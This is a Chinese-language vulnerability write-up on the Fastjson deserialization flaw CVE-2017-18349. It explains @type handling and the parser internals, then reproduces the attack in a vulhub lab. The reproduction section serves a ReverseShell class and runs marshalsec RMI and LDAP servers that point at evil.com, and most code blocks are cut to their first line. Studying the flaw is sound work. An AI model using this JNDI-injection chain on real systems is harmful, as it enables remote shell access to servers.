Fastjson 远程命令执行漏洞(CVE-2017-18349)
Fastjson 远程命令执行漏洞(CVE-2017-18349)
漏洞概述
fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
参考链接:
序列化和反序列化
对于Fastjson来讲,并不是所有的Java对象都能被转为JSON,只有Java Bean格式的对象才能Fastjson被转为JSON。
Fastjson提供了两个主要接口来分别实现对于Java Object的序列化和反序列化操作:
JSON.toJSONString
JSON.parseObject/JSON.parse
反序列化时不指定特定的类,那么Fastjson就默认将一个JSON字符串反序列化为一个JSONObject。需要注意的是,对于类中private
类型的属性值,Fastjson默认不会将其序列化和反序列化。
Fastjson中的@type
使用Fastjson序列化对象的时候,如果toJSONString()
方法不添加额外的属性,那么就会将一个Java Bean转换成JSON字符串。
1 | {"age":18,"name":"Faster"} |
如果想把JSON字符串反序列化成Java Object,可以使用parse()
方法。该方法默认将JSON字符串反序列化为一个JSONObject对象。
1 | com.alibaba.fastjson.JSONObject |
将JSON字符串反序列化为原始的类(两种)
- 序列化的时候,在
toJSONString()
方法中添加额外的属性SerializerFeature.WriteClassName
,将对象类型一并序列化:
1 | Person person = new Person("Faster",18); |
在反序列化该JSON字符串的时候,parse()
方法就会根据@type
标识将其转为原来的类。
1 | String jsonText = "{\"@type\":\"Person\",\"age\":18,\"name\":\"Faster\"}"; |
- 反序列化的时候,在
parseObject()
方法中手动指定对象的类型
1 | bject o3 = JSON.parseObject(jsonText,Person.class); |
Fastjson分析
序列化:toJSONString()
方法实际是通过调用getter来获取对象的属性值的,根据这些属性值来生成JSON字符串。
反序列化:parse()
先调用@type标识的类的构造函数,然后再调用setter给对象赋值;parseObject()方法会同时调用setter和getter。
源码分析
DefaultJSONParser#parseObject
方法中,通过scanSymbol()
方法来解析出表示符 @type
反射加载@type
反射加载的类的时候会对类进行黑名单检查,黑名单中有Thread类
然后会在反射获取的方法中循环遍历寻找特定的setter和getter。条件如下:
- 方法名长度大于4且以set开头,且第四个字母要是大写
- 非静态方法
- 返回类型为void或当前类
- 参数个数为1个
反序列化漏洞
fastjson依赖
1 | <dependency> |
在反序列化时,parse触发了set方法,parseObject同时触发了set和get方法,由于存在这种autoType
特性。如果@type
标识的类中的setter或getter方法存在恶意代码,那么就有可能存在fastjson反序列化漏洞。
demo
Calc.java
1 | import java.io.IOException; |
fastjsonTestCalc.java
1 | import com.alibaba.fastjson.JSON; |
漏洞复现
CVE-2017-18349
环境:vulhub
目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase
的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl
的利用链,借助JNDI注入来执行命令
ReverseShell.java编译成class并开启http服务(python -m http.server 80)
1 | public class ReverseShell { |
借助marshalsec项目(测试Jdk8u211),启动一个RMI服务器,监听9999端口,并制定加载远程类ReverseShell.class
:
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#ReverseShell" 9999 |
向靶场服务器发送Payload,带上RMI的地址:
1 | POST / HTTP/1.1 |
Final
LDAP
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://evil.com/#ReverseShell" 9999 |